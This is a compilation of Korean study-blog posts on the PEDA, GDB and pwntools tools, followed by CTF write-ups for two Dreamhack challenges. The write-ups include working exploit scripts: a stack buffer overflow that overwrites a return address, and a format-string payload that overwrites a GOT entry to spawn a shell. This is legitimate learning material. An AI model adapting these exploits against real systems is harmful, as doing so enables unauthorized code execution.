728x90
  • PEDA

0. peda란?

 

: Python Exploit Development Assistance for GDB의 약자로 linux 환경에서 동작하여 binary 분석 및 exploit을 도와주는 도구이다.

 

: linux 환경에서 peda를 설치하기 위해서는 아래와 같은 코드를 입력해 설치를 해준다. 

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

 

1. peda 명령어 

 

1-1) context

 gdb-peda$ context "code/register/stack/all"

코드, 레지스터, 스택 영역을 볼 수 있음. 인자 생략 시에는 context all 과 같다.

 

 

1-2) session

 

기존과 달리 break point와 같은 설정들을 저장하고 불러오는게 가능하다.

gdb-peda$ session save "파일이름"

파일이름 생략시엔

peda-session-"실행파일이름".txt

 

 

 

1-3) vmmap

gdb-peda$ vmmap "all/binary/libc/stack 등"

 

현재 디버깅 중인 프로세스의 Virtual Memory MAP을 보여줌 인자를 생략할 시에는 vmmap all 과 같다.

 

 

1-4) checksec

 gdb-peda$ checksec

현재 바이너리에 걸려있는 보안 기법들을 보여준다.

 

 

1-5) nxtest

gdb-peda$ nxtest

NX 가 걸려있는지 테스트 해주는 명령어로 스택에 실행권한이 있는지 체크하는 명령어이다.

 

 

1-6) procinfo / getpid

gdb-peda$ procinfo gdb-peda$ getpid

procinfo -> 현재 디버깅중인 프로세스의 정보를 표시 getpid -> pid 값을 출력한다.

 

 

1-7) elfsymbol

gdb-peda$ elfsymbol "symbol"

현재 디버깅 중인 바이너리의 plt, got 주소 등을 표시 인자를 생략하면 symbol들을 모두 보여준다.

 

 

1-8) elfheader

 gdb-peda$ elfheader

현재 디버깅 중인 바이너리의 헤더 정보 출력한다.

 

 

1-9) find / searchmem

 gdb-peda$ find/searchmem "pattern" "범위"

같은 기능의 명령어, 메모리 영역에서 특정 패턴을 찾아준다. 범위 부분을 생략하는 경우  binary 영역으로 세팅된다.

 

 

 

1-10) shellcode

gdb-peda$ shellcode generate x86/linux exec

peda에서 제공하는 쉘코드라고 하며, shellcode generate 명령어로 현재 가능한 쉘 코드 종류 확인 및 생성 가능하다.

'자기개발 > 포너블' 카테고리의 다른 글

[2022 CTF ] 포너블 - Day 9  (0) 2022.02.08
[2022 CTF] 포너블 - Day 8  (0) 2022.02.08
[포너블] gdb 개념 및 명령어  (0) 2022.02.04
[포너블스터디] pwntool 개념 및 사용법  (0) 2022.02.03
[LOB]gremlin 문제 풀이  (0) 2022.01.27
728x90
  • GDB

0. gdb 란?

 

: GNU에서 나온 디버거 프로그램으로 컴퓨터 프로그램의 실행을 추적하고 수정할 수 있는 기능들을 제공해준다.

 

또한 사용자는 프로그램의 내부 변수들의 값을 주시하거나 변경할 수 있으며, 프로그램의 일반적인 실행 과정과 독립적으로 함수를 호출 할 수 있다. 

 

1. gdb 사용법

 

# gdb [프로그램명]

: 실행 파일을 gdb로 실행하면서 디버깅한다. 

 

#gdb -c [core파일명][프로그램명]
#gdb [프로그램명][core파일명]

: core 파일을 생성하는 방법으로 여러가지가 있다. 

 

1) gcore를 활용하여 core dump 파일을 생성한 후 디버깅을 해준다. 

#gcore [-o filename] <pid>

: 위의 코드에서 core dump 파일을 생성하기 위해서 gcore 뒤에 core 파일을 만들 pid르 넣어주면 된다. 

 

 

2) gdb로 core 파일을 생성하고 싶은 프로세스를 attach 한 후 core dump 파일을 생성한다.

(gdb) attach <pid>
(gdb) generate-core-file
Saved corefile core.<pid>

 

 

3) 실행 중 segfault를 발생시키고 종료된 프로그램이 생성한 core 파일이 있는 경우

#gdb [프로그램명][실행 중인 프로세스 pid]

 

 

3. gdb 명령어

break 중단점 설정
info break 중단점 확인
clear 중단점 지정 후 삭제
delete 중단점 삭제
disable/enable 중단점 활성화/비활성화

 

728x90
  • pwntools

0. pwntools 란?

 

: 시스템 해킹(pwnable)에 필요한 기능들로 커스터마이징이 된 파이써 모듈이다. 

 

 

1. pwntools 사용법

 

from pwn import*

; pwntools를 사용하기 위해서는 위의 코드를 통해서 import 하면 된다. 

 

 

2. pwntools 접속 

process 로컬 바이너리에 대해서 exploit을 실험해볼 때 사용하는 함수
remote 원격 서버를 대상으로 실제 exploit을 작동시킬때 사용하는 함수
ssh ssh를 통해서 접속하는 함수
(ssh:서로 통신할 때 보안적으로 안전하게 통시하기 위해 사용하는 프로토콜)

 

3. pwntools - payload 보내기

from pwn import *
p = process('./test')

p.send('A')                   
p.sendline('A')                   
p.sendafter('asdf', 'A')       
p.sendlineafter('asdf', 'A')

p.send('A')                        : ./test에 'A'입력한다.
p.sendline('A')                   : ./test에 'A'입력 뒤에 newline character(\n)까지 입력한다.
p.sendafter('asdf', 'A')         : ./test가 'asdf'를 출력할 시, 'A'를 입력한다.
p.sendlineafter('asdf', 'A')     : ./test가 'asdf'를 출력할 시, 'A'+'\n'를 입력한다.

 

 

4, pwntools 파일 실행

 

r = process("파일이름")

: process 클래스의 임의의 프로세스를 만드는 것으로 elf 파일을 실행시킬 수 있다. 위의 명령어를 실행하게 되면 해당 프로그램을 실행시키고, 입력을 대기한다. 이후 실행된 프로그램은 r 변수를 통해 접근 할 수 있다. 

 

: process()로 실행시킨 프로그램은 입출력을 직접적으로 할 수 없는 대신 r 변수를 통해 함수를 호출하면서 파이썬 코드를 통해 프로그램의 stdin에 입력을 넣고, stdput에서 출력을 받을 수 있다. 

 

r = remote("주소", 포트)

: process 대신 remote 클래스를 사용한다면 원격으로 접속 할 수 있다. 

 

 

5. pwntools - 쉘 접속

 

p.interactive()

: 쉘을 획득한 경우나, exploit 특정 경우에는 직접 입력을 주면서 디버깅이 필요하 경우가 있다. 이때 함수 interactive가 exploit 파일과 process와의 연결을 stdin/stidout에서 process로 바꿔준다. 

 

 

6. pwntools - debug

import pwn from*

p=process('./test')
gdb.attach(p)

: 예상하 페이로드가 터질 때 유용하게 쓰인다. 

위 코드는 페이로드를 진행하는 도중 gdb를 실행시킬 수 있느 함수로 새 창에서 해당 프로그램이 gdb로 보여진다. 

하지만 서버 접속는 불가능하고, process, 즉 파일 실행으로만 가능하다.

'자기개발 > 포너블' 카테고리의 다른 글

[2022 CTF ] 포너블 - Day 9  (0) 2022.02.08
[2022 CTF] 포너블 - Day 8  (0) 2022.02.08
[포너블] gdb-pead 개념 및 명령어 정리  (0) 2022.02.05
[포너블] gdb 개념 및 명령어  (0) 2022.02.04
[LOB]gremlin 문제 풀이  (0) 2022.01.27
728x90
  • basic_exploitation_001

 

주어진 파일을 다운받아 열어보면 아래의 소스코드를 확인할 수 있다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

: main 함수를 먼저 살펴보자.  buf에 0x80(128)만큼 할당하고, initialize 함수를 실행시킨 후 gets로 buf에 입력을 받는다.

소스코드를 전반적으로 살펴봤을 때 buffer overflow를 이용하여 풀이를 진행하는 문제임을 짐작할 수 있다.

 

ret 값에 read_flag 함수의 주소를 넣어 flag 값을 얻을 것 수 있을 것이다.

 

스택의 기본 구조는 buffer + SFP + ret 으로 총 132 바이트임을 알 수 있다.

buffer(128byte) sfp(4byte) ret(4byte)

이 때문에 buffer overflow가 일어나 buffer가 모두 채워져 ret 값에 flag 호출되게 하려면 132바이트를 gets로 입력해야한다. 여기서 ret 주소 대신 read_flag 함수 주소값을 넣어 줘야 하는데 read_flag 주소값은 gdb를 통해서 확인 할 수 있다.

: read_flag의 주소값은 0x080485b9 로 다음과 같은 페이로드를 작성하면 된다.

 

from pwn import*

p = remote("host1.dreamhack.games", 12830)

read_flag_address = 0x80485B9

payload = "A"*132

payload += p32(read_flag_address)

p.sendline(payload)

p.interactive()

 

실행시킨 결과 다음과 같다.

 

 

flag가 잘 출력되어 해결되었음을 확인 할 수 있다.

 


  • basic_exploitation_002

 

다음으로 basic_exploitation_002 문제 풀이를 해보려고 한다. 우선, 주어진 파일을 다운 받아서 소스코드를 살펴봤다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

 

: 소스코드의 main 함수부터 보자면 buf 에 0x80(128)만큼 할당되고 initialize 함수가 실행되고, gets 로 buf 를 입력을 받는다.

 

여기서 printf(buf)에 원래 printf("%s", &buf) 이어야 하지만,  printf(buf)로 되어 있어 Format String Bug 가 발생할 수 있다. FSB는 서식문자 입력시, 그 서식문자의 기능대로 출력한다는 문제점이 발생한다.

 

read 로 0x80(128)만큼 문자열을 입력받기 때문에, BOF 는 발생하지 않는다는 것을 알 수 있다.

 

get_shell 함수는 system 명령어로 /bin/sh 의 주소를 출력한다.

 

여기서 스택은 buf 의 128 바이트와 exit 로 구조가 되어있는데, buf 에 서식문자를 넣어서 FSB 를 발생시켜, get_shell 함수를 실행시킨다.

 

그러기 위해서는 exit(0) 을 활용해야 하는데, exit 의 GOT 를 get_shell 함수 주소로 Overwrite 해야한다.

이때 필요한 것은 exit 의 GOT 주소와 get_shell 함수의 주소이다.

 

exit 의 GOT 주소
get_shell 함수의 주소

 

 

: 4바이트 체제로 a 를 4번 입력하고  %x 를 입력함으로써 16진수로 출력하게 하며 첫 번째 %x 에서 aaaa 를 인자로 받는 것을 알 수 있다.

 

from pwn import*

p = remote("host1.dreamhack.games", 15758)

exit = 0x804a024

payload = p32(exit+2) + p32(exit) + "%2044c%1$hn%32261c%2$hn"

p.send(payload)

p.interactive()

 

 

페이로드를 작성하여 |exit_got+2(0x8004)|  + |exit_got(0x8609)| + "%2044c%1$hn" + "%32261c%2$hn" 순으로 exit GOT 의 주소와 get_shell() 함수의 주소 (0x8048609)를 넣어준다.

 

%n 은 4바이트씩 인자에 작성해주는 기능으로 get_shell() 함수의 주소가 값이 크기 때문에 2바이트씩 나눠 전송하려고 %hn 을 사용한다.

 

이때 exit GOT 주소 작성에 8 바이트를 사용하여서 0x8 만큼 빼줘야한다.

 

0x804 = 2052 -> (0x804-0x8) = 2044

0x8609 - 0x804 = 32261

 

위의 값들 이후에 c 를 기입한 이유는 큰 수 사용 시 c 를 사용하기 때문이다.

 

그 후, sendline 를 통해 payload 의 값을 전송하고, interactive 를 통해 쉘에 접속한다.

 

실행을 하면, FLAG 값을 얻어 문제를 해결할 수 있다.

 

 

 

'문제 풀이' 카테고리의 다른 글

[2022 CTF] 리버싱 - Day 13  (0) 2022.02.14
[HackCTF] Beginner_Heap 문제 풀이  (0) 2022.02.10
[Dreamhack] basic_exploitation_003 문제 풀이  (0) 2022.02.09
[2022 CTF] 포너블 - Day2  (0) 2022.01.26
[2022 CTF] 포너블 - Day1  (0) 2022.01.25

+ Recent posts